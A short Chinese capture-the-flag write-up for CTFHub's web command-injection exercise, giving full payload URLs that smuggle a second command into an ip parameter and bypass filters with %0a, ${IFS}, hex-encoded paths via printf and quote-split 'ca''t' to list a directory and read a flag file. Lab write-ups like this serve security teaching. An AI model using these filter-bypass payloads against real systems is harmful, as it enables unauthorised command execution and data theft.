CTFHub_技能树_Web之RCE——“命令注入综合练习”

文章目录

–>CTFHub传送门<–

解题过程

最后一题来了个狠的,cat、flag还有各种符号都被过滤了
CTFHub_技能树_Web之RCE——“命令注入综合练习”
分隔符可以使用%0a代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL

/?ip=127.0.0.1%0als => 127.0.0.1;ls

查看目录
CTFHub_技能树_Web之RCE——“命令注入综合练习”
接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

(space) => ${IFS}

对于文件夹的内容,使用$(printf "路径")代替路径
对于路径文字过滤,转换成16进制字符串

–>字符串和16进制互转传送门<–

访问URL

/?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
=> 127.0.0.1;ls flag_is_here

CTFHub_技能树_Web之RCE——“命令注入综合练习”
接着绕过cat,使用16进制字符串访问文件即可

cat => ca''t / ca""t

/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x39\x34\x33\x32\x34\x33\x38\x33\x31\x35\x30\x32\x30\x2e\x70\x68\x70")
=> 127.0.0.1;cat flag_is_here/flag_9432438315020.php
CTFHub_技能树_Web之RCE——“命令注入综合练习”
FLAG藏在注释里

欢迎在评论区留言
感谢浏览